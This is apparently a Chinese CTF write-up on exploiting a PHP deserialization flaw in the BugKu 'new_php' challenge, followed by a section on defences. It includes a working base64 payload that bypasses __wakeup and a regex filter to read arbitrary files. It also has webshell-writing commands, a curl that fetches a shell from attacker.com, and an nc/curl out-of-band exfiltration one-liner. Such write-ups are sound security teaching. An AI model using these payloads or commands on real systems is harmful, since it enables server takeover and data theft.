PHP反序列化漏洞实战:从原理到Getshell的完整利用链分析
2026/8/2 10:28:40 网站建设 项目流程

1. 项目概述:一次经典的PHP反序列化漏洞实战复盘

最近在整理CTF(Capture The Flag)题目和渗透测试的实战笔记时,翻到了一个非常经典的靶场环境——“BugKu-new_php”。这个题目虽然名字简单,但它几乎囊括了PHP反序列化漏洞从发现到利用的完整链条,特别是对魔术方法__wakeup__destruct的巧妙利用,是理解PHP对象注入攻击的绝佳案例。很多新手朋友一看到反序列化就觉得头大,感觉涉及底层原理,其实拆解开来,它的核心逻辑非常清晰。今天,我就以这个“BugKu-new_php”为例,带大家从头到尾走一遍,不仅讲清楚怎么“打”下来,更重要的是讲明白为什么要这么做,以及在真实渗透测试或代码审计中,你该如何发现并利用这类漏洞。无论你是正在学习Web安全的在校生,还是希望巩固基础的初级安全工程师,这篇复盘都能给你带来直接的收获。

简单来说,这个靶场环境模拟了一个存在缺陷的PHP应用。攻击者通过构造一个特殊的序列化字符串,传递给应用的反序列化函数,最终可以触发任意代码执行,从而拿到服务器的控制权(俗称Getshell)。整个过程就像是用一把特制的钥匙(恶意序列化数据)去开一把有设计缺陷的锁(存在漏洞的PHP代码),一旦钥匙形状对了,锁就开了。下面,我们就来一步步打造这把“钥匙”。

2. 漏洞原理深度拆解:为什么反序列化如此危险?

在深入“BugKu-new_php”的具体代码之前,我们必须先夯实基础。很多人在复现漏洞时,只是机械地输入Payload(攻击载荷),却不明白其所以然,这样一旦遇到变种就会束手无策。理解原理,才能举一反三。

2.1 序列化与反序列化:数据的“打包”与“拆包”

你可以把序列化(serialize)想象成快递打包。PHP程序中有一些复杂的数据,比如一个包含多个属性和方法的对象(Object),或者一个嵌套很深的数组。为了能方便地存储到数据库、写入文件,或者通过网络发送给另一个程序,我们需要把它转换成一种通用的、线性的字符串格式。这个过程就是序列化。

反之,反序列化(unserialize)就是拆快递。当程序需要这些数据时,它读取这个字符串,并根据字符串中的描述,重新在内存中构建出原来的对象或数组。

一个简单的例子:

class User { public $username = ‘admin‘; public $isAdmin = false; } $user = new User(); $serialized_string = serialize($user); echo $serialized_string; // 输出:O:4:“User”:2:{s:8:“username”;s:5:“admin”;s:7:“isAdmin”;b:0;}

这个字符串O:4:“User”:2:{...}就是序列化后的结果。它明确告诉PHP:这是一个对象(O),类名长度是4(“User”),有2个属性。后面跟着每个属性的类型、长度和值。

2.2 魔术方法:对象的“自动触发器”

PHP类中可以定义一些特殊的方法,它们会在对象生命周期的特定时刻被自动调用,这些就是魔术方法(Magic Methods)。在反序列化漏洞中,最关键的两个是:

  • __wakeup(): 当一个对象被反序列化(即从字符串重建)时,__wakeup()方法会自动被调用。它常用于重新建立数据库连接、初始化资源等。
  • __destruct(): 当一个对象被销毁时(例如脚本执行结束,或对象被显式unset),__destruct()方法会自动被调用。它常用于关闭文件句柄、保存日志等清理工作。

漏洞的根源就在这里:如果攻击者能够控制反序列化过程中的数据(即控制对象的属性值),并且目标类中定义了这些魔术方法,而方法内部的代码又使用了这些可控的属性,那么攻击者就有可能操纵程序的执行逻辑。

2.3 漏洞产生条件与攻击链

一个典型的PHP反序列化漏洞需要同时满足以下几个条件,形成完整的攻击链:

  1. 存在反序列化操作:代码中某处使用了unserialize()函数,并且其参数(或参数的一部分)用户可控。常见的入口点包括:接收Cookie、POST/GET参数、处理文件上传内容、读取数据库存储的配置等。
  2. 存在包含魔术方法的类:在代码作用域内(通常是当前文件或通过autoload引入的文件),定义了包含__wakeup__destruct__toString等魔术方法的类。
  3. 魔术方法中存在危险操作:这些魔术方法中,使用了对象自身的属性去执行一些危险函数,例如eval()system()file_put_contents(),或者调用其他对象的方法。
  4. 属性可控:攻击者通过控制序列化字符串,能够操纵这些危险操作所依赖的属性值。

当这四个条件串联起来,攻击链就形成了:用户输入可控的反序列化 -> 触发魔术方法自动执行 -> 魔术方法使用可控属性执行危险代码

注意:在真实场景中,我们往往无法直接看到后端代码(黑盒测试)。因此,我们需要通过信息收集(如报错信息、泄露的源码、.bak备份文件等)来推断类的结构,或者利用PHP内置的通用类(称为“POP链” Gadget Chains)进行攻击,这需要更深入的知识。但“BugKu-new_php”属于白盒审计,我们可以直接分析源码,这降低了入门门槛。

3. “BugKu-new_php” 靶场代码审计与思路分析

现在,让我们把目光聚焦到“BugKu-new_php”这个具体的靶场上。假设我们已经通过某种方式(例如目录扫描发现了index.php.bak文件)拿到了它的源代码。核心的漏洞文件内容通常如下所示:

<?php class Demo { private $file = ‘index.php‘; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != ‘index.php‘) { // 关键漏洞点:试图“保护”文件,但策略可被绕过 $this->file = ‘index.php‘; } } } if (isset($_GET[‘var‘])) { $var = base64_decode($_GET[‘var‘]); // 反序列化入口,参数用户完全可控! if (preg_match(‘/[oc]:\d+:/i‘, $var)) { die(‘stop hacking!‘); } else { @unserialize($var); } } else { highlight_file(“index.php”); } ?>

3.1 关键代码段解读

我们来逐行分析这段代码的意图和漏洞点:

  1. 类定义class Demo

    • 有一个私有属性$file,默认值是‘index.php‘
    • __construct构造函数:在创建对象时设置$file属性。
    • __destruct析构函数:这是我们的目标。它会使用highlight_file()函数高亮显示$this->file指定的文件内容。如果我们能控制$file,就能读取服务器上的任意文件。
    • __wakeup方法:这是一个“防御”逻辑。当对象被反序列化时,它会检查$file属性是否不等于‘index.php‘。如果是,就强行把它改回‘index.php‘。这看起来阻止了我们利用__destruct去读取其他文件。
  2. 用户输入处理

    • 代码检查是否存在$_GET[‘var‘]参数。
    • 将其进行base64_decode解码。
    • 然后进行一个关键的正则过滤:preg_match(‘/[oc]:\d+:/i‘, $var)。这个正则匹配的是序列化字符串中对象(O:)或自定义对象(C:)的声明格式,例如O:4:“Demo”:1:{...}。如果匹配到,就直接die(‘stop hacking!‘)。这是一个常见的、但不完善的防御手段。
    • 如果通过了过滤,就执行@unserialize($var)@符号用于抑制错误信息。

3.2 攻击思路推导

我们的目标是让__destruct()方法中的highlight_file($this->file)读取我们指定的文件(例如/etc/passwd或网站源码)。但面临两个障碍:

  1. __wakeup()的重置:在反序列化后,__wakeup()会立即执行,如果$file不是‘index.php‘,它会被重置。
  2. 正则过滤:直接序列化Demo对象得到的字符串O:4:“Demo”:1:{...}会被正则匹配到,导致程序终止。

解决方案如下:

  • 绕过__wakeup():这里利用了一个在特定PHP版本(PHP5 < 5.6.25, PHP7 < 7.0.10)中存在的著名漏洞:CVE-2016-7124。当序列化字符串中表示对象属性数量的值(O:4:“Demo”:1:中的1大于实际类中定义的属性数量时,__wakeup()方法将不会被执行。在这个Demo类中,只有一个属性$file。所以,如果我们把序列化字符串中的属性数量从1改为更大的数字,例如2,就能绕过__wakeup()
  • 绕过正则过滤:正则匹配的是[oc]:\d+:。我们可以通过修改序列化字符串的格式来绕过。一个有效的方法是:在对象声明O:和数字之间插入一个+号,变成O:+4:“Demo”:...preg_match默认的字符串匹配会匹配到O:4,但unserialize()函数在解析时,会忽略数字前面的+号,仍然能正确反序列化。这是利用了解析差异。

因此,完整的攻击链是:

  1. 构造一个Demo对象,将其$file属性设置为目标文件路径(如flag.php)。
  2. 序列化这个对象。
  3. 手动修改序列化字符串:a) 将属性数量改为更大的数(如2);b) 在O:和数字间插入+
  4. 将修改后的字符串进行 Base64 编码。
  5. 通过?var=参数传递给服务器。

4. 漏洞利用实操:手把手构造Payload

理解了原理和思路,接下来就是动手环节。我们会在自己的测试环境(如用Docker快速搭建的PHP环境)里一步步构造攻击载荷。

4.1 环境准备与初步测试

首先,将上面的漏洞代码保存为index.php,部署到你的PHP服务器上。访问该页面,正常情况下你会看到代码高亮显示的源码。

为了生成Payload,我们需要写一个PHP脚本。因为$file是私有属性,在序列化字符串中表示方式与公有属性不同,手动拼接容易出错,最好用PHP来生成基础字符串。

创建一个exp.php文件:

<?php class Demo { private $file = ‘index.php‘; public function __construct($file) { $this->file = $file; } // 为了生成序列化字符串,这里不需要定义 __destruct 和 __wakeup } // 1. 创建对象,指定要读取的文件 $obj = new Demo(‘flag.php‘); // 假设目标文件是 flag.php // 2. 生成基础序列化字符串 $serialized = serialize($obj); echo “基础序列化字符串: “ . $serialized . “\n”; // 输出示例:O:4:“Demo”:1:{s:10:“Demofile”;s:8:“flag.php”;} ?>

运行这个脚本,你会得到类似O:4:“Demo”:1:{s:10:“Demofile”;s:8:“flag.php”;}的字符串。注意私有属性$file的序列化格式:s:10:“Demofile”。这里的Demofile类名 + 属性名,长度为10(Demo的4个字符 +file的4个字符 + 空字符?)。不同环境下可能略有差异,以你实际生成的为准。

4.2 手工修改Payload,实现双重绕过

现在,我们拿到基础字符串O:4:“Demo”:1:{s:10:“Demofile”;s:8:“flag.php”;},需要对其进行两次手术:

  1. 绕过__wakeup()(CVE-2016-7124):将对象属性数量1改为一个更大的数,比如2。字符串变为:O:4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}。注意,这里只是改了数字,后面花括号{}里的实际属性数量并没有增加。这就是触发漏洞的关键。
  2. 绕过正则过滤:在O:4中间插入一个+号。字符串变为:O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}

修改后的Payload就是:O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}

4.3 最终Payload生成与发送

最后一步,将修改后的字符串进行Base64编码,然后通过GET参数传递。

我们可以用PHP命令行完成:

php -r “echo base64_encode(‘O:+4:\“Demo\”:2:{s:10:\“Demofile\”;s:8:\“flag.php\”;}’);”

或者用Python:

import base64 payload = ‘O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“flag.php”;}‘ print(base64.b64encode(payload.encode()).decode())

你会得到一个Base64字符串,例如:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

现在,在浏览器中访问你的靶场URL,附加上这个Payload:http://your-target-site.com/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

如果一切顺利,__wakeup()被绕过,__destruct()正常执行,页面将不会显示index.php的源码,而是会高亮显示flag.php文件的内容,漏洞利用成功。

实操心得:在实际操作中,目标文件可能不叫flag.php,可能是./flag/flag../../../../etc/passwd等。这就需要结合目录遍历、信息收集来猜测。另外,如果highlight_file()被禁用,我们可能需要寻找其他魔术方法中更直接的代码执行点,比如__toString()中使用了eval($this->xxx)

5. 漏洞的深入利用与扩展思考

成功读取文件只是第一步。在真实的渗透测试中,反序列化漏洞的终极目标往往是获取远程代码执行(RCE)的能力,从而在服务器上建立持久化后门。

5.1 从文件读取到代码执行(Getshell)

如果__destruct()或其它魔术方法中,使用的不是highlight_file,而是eval()system()file_put_contents()等函数,那么攻击将更加直接。

假设存在这样一个危险的类:

class Evil { public $cmd; function __destruct() { system($this->cmd); } }

那么,我们只需要生成$cmd=‘whoami‘的序列化对象,就能执行系统命令。通过命令拼接,可以写入Webshell:

# 写入一句话木马 echo ‘<?php @eval($_POST[“cmd”]);?>‘ > shell.php # 或者利用curl下载远程脚本 curl http://attacker.com/shell.txt -o /var/www/html/shell.php

5.2 利用POP链进行“无中生有”的攻击

在“BugKu-new_php”中,我们很幸运,漏洞类直接包含了危险方法。但在更复杂的现代PHP应用(如使用Laravel、ThinkPHP等框架)或启用了自动加载的组件中,危险方法可能分布在不同的类里。这时,我们需要寻找一条“属性-方法”调用链,即POP链(Property-Oriented Programming Chain)。

POP链的核心思想是:控制一个对象的属性A,该属性是另一个对象B。当程序调用A的某个方法时(可能在__destruct中),这个方法内部又调用了B的某个危险方法。我们需要通过精心构造的序列化数据,将这些对象像链条一样连接起来,让程序在反序列化后的析构过程中,自动遍历执行这条链,最终触发代码执行。

构建POP链是PHP反序列化漏洞利用的高级技巧,需要对目标代码库有深入的了解,或者利用已知的、框架内置的通用Gadget链(例如Monolog、GuzzleHttp等库中的链)。

5.3 防御手段与代码审计建议

作为开发者,如何避免写出存在反序列化漏洞的代码呢?

  1. 根本方法:避免反序列化不可信数据。永远不要对用户输入、Cookie、未经验证的网络数据直接使用unserialize()。如果必须使用,考虑安全的替代方案,如JSON格式(json_decode)。
  2. 使用白名单机制:如果业务必须反序列化,可以限制反序列化允许的类名。PHP 7引入了unserialize()的第二个参数$allowed_classes,可以指定一个允许反序列化的类名数组。
    $data = unserialize($input, [‘allowed_classes‘ => [‘SafeClass1‘, ‘SafeClass2‘]]);
  3. 签名与验证:对序列化数据进行数字签名(HMAC),在反序列化前验证其完整性和来源可靠性。
  4. 避免在魔术方法中执行关键操作:尽量不要在__wakeup__destruct__toString等魔术方法中,使用对象属性执行文件操作、数据库查询、系统命令等。如果不可避免,必须对属性值进行严格的过滤和验证。
  5. 及时更新PHP版本:像CVE-2016-7124这类底层漏洞,及时更新PHP版本到安全分支是成本最低的修复方式。

作为安全研究人员或渗透测试员,在代码审计时应重点关注:

  • 全局搜索unserialize(函数调用点。
  • 审查其参数是否用户可控。
  • 分析代码中包含的类,特别是那些定义了__wakeup__destruct__call__toString__get__set等魔术方法的类。
  • 绘制这些类的方法调用图,寻找从魔术方法到危险函数(如evalsystemfile_put_contents)的潜在路径。

6. 实战中常见问题与排查技巧

即便理解了原理,在实际操作中你仍可能会遇到各种问题。下面我整理了一些常见坑点和排查思路。

6.1 Payload构造失败

  • 问题:Base64解码失败或反序列化时PHP报错(即使有@抑制,也可能在日志中看到)。
  • 排查
    1. 检查字符转义:在手动修改序列化字符串时,引号和反斜杠很容易出错。最好使用脚本生成基础Payload,然后用脚本进行字符串替换和编码。
    2. 检查属性修饰符:公有(public)、受保护(protected)、私有(private)属性在序列化字符串中的表示方式不同。protected属性会在字段名前加*private属性会加类名前缀(如%00Demo%00file)。在URL传输时,空字符(%00)可能导致问题,有时需要URL编码。
    3. 使用精确的生成脚本:在你的攻击机上,用和目标环境相同版本的PHP来生成基础Payload,以确保序列化格式一致。

6.2 绕过了过滤但未触发漏洞

  • 问题:Payload通过了正则过滤,也没有报错,但依然只显示了index.php的内容,__destruct似乎没执行或$file被重置了。
  • 排查
    1. 确认PHP版本CVE-2016-7124的绕过有版本限制。确认目标PHP版本在受影响范围内(PHP5 < 5.6.25 或 PHP7 < 7.0.10)。如果版本已修复,此绕过无效。
    2. 检查__wakeup逻辑:仔细阅读__wakeup方法。有时它不止检查一个属性,或者有更复杂的逻辑。需要确保你的Payload能完全绕过其检查逻辑。
    3. 对象是否被成功销毁?__destruct在对象销毁时触发。如果脚本中对象被赋值给了其他长期存在的变量,或者在反序列化后脚本立即用exit()die()结束,可能会影响析构函数的执行时机。可以尝试在Payload后添加垃圾数据,或利用PHP的引用机制来确保对象被正常回收。

6.3 寻找可利用的类与POP链

  • 问题:在审计一个大型项目时,找到了可控的unserialize点,但代码里没有像Demo这样明显的危险类。
  • 排查
    1. 搜索魔术方法:使用grep -r “function __“ src/命令查找所有魔术方法。
    2. 分析框架核心类:许多漏洞存在于框架的基类或常用组件中。研究__destruct方法里是否有closesavelog__call等调用,这些可能成为POP链的起点。
    3. 利用已知工具:使用像phpggc(PHP Generic Gadget Chains)这样的工具,它集成了针对主流框架(如Laravel、Symfony、ThinkPHP)和库(如Guzzle、Monolog)的POP链。你可以直接生成Payload进行测试。
    4. 动态调试:在可控环境搭建调试场景,通过打印日志或使用Xdebug,跟踪反序列化后对象的生命周期和方法调用顺序,帮助理解POP链的走向。

6.4 漏洞利用的“最后一公里”

  • 问题:成功执行了命令,但无法回显结果(盲注),或者权限受限。
  • 技巧
    • 外带数据(OOB):如果命令执行无回显,可以尝试让目标服务器主动连接你的监听端口,通过DNS查询或HTTP请求将命令结果带出来。
      # 在攻击机监听 nc -lvnp 4444 # Payload中的命令 curl http://your-ip:4444/?`whoami`
    • 写入Webshell:这是最稳定的方式。确保你知道网站的绝对路径。
      echo ‘<?=system($_GET[“c”]);?>‘ > /var/www/html/shell.php
    • 权限提升:如果当前是www-data用户,可以尝试查找具有SUID权限的可执行文件、利用内核漏洞或错误的sudo配置进行提权。

回顾整个“BugKu-new_php”的漏洞利用过程,从理解序列化原理,到分析魔术方法的自动触发机制,再到一步步构造Payload绕过防御,最后实现任意文件读取,这是一条非常清晰的学习路径。它告诉我们,再复杂的漏洞,拆解到底层都是对输入数据、程序逻辑和外部交互的深刻理解。在实战中,耐心和细致往往比掌握炫酷的工具更重要。下次当你再看到unserialize()函数时,不妨多花几分钟思考一下,它的参数从哪来,程序里又定义了哪些有趣的魔术方法,或许就能发现一个潜在的突破口。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询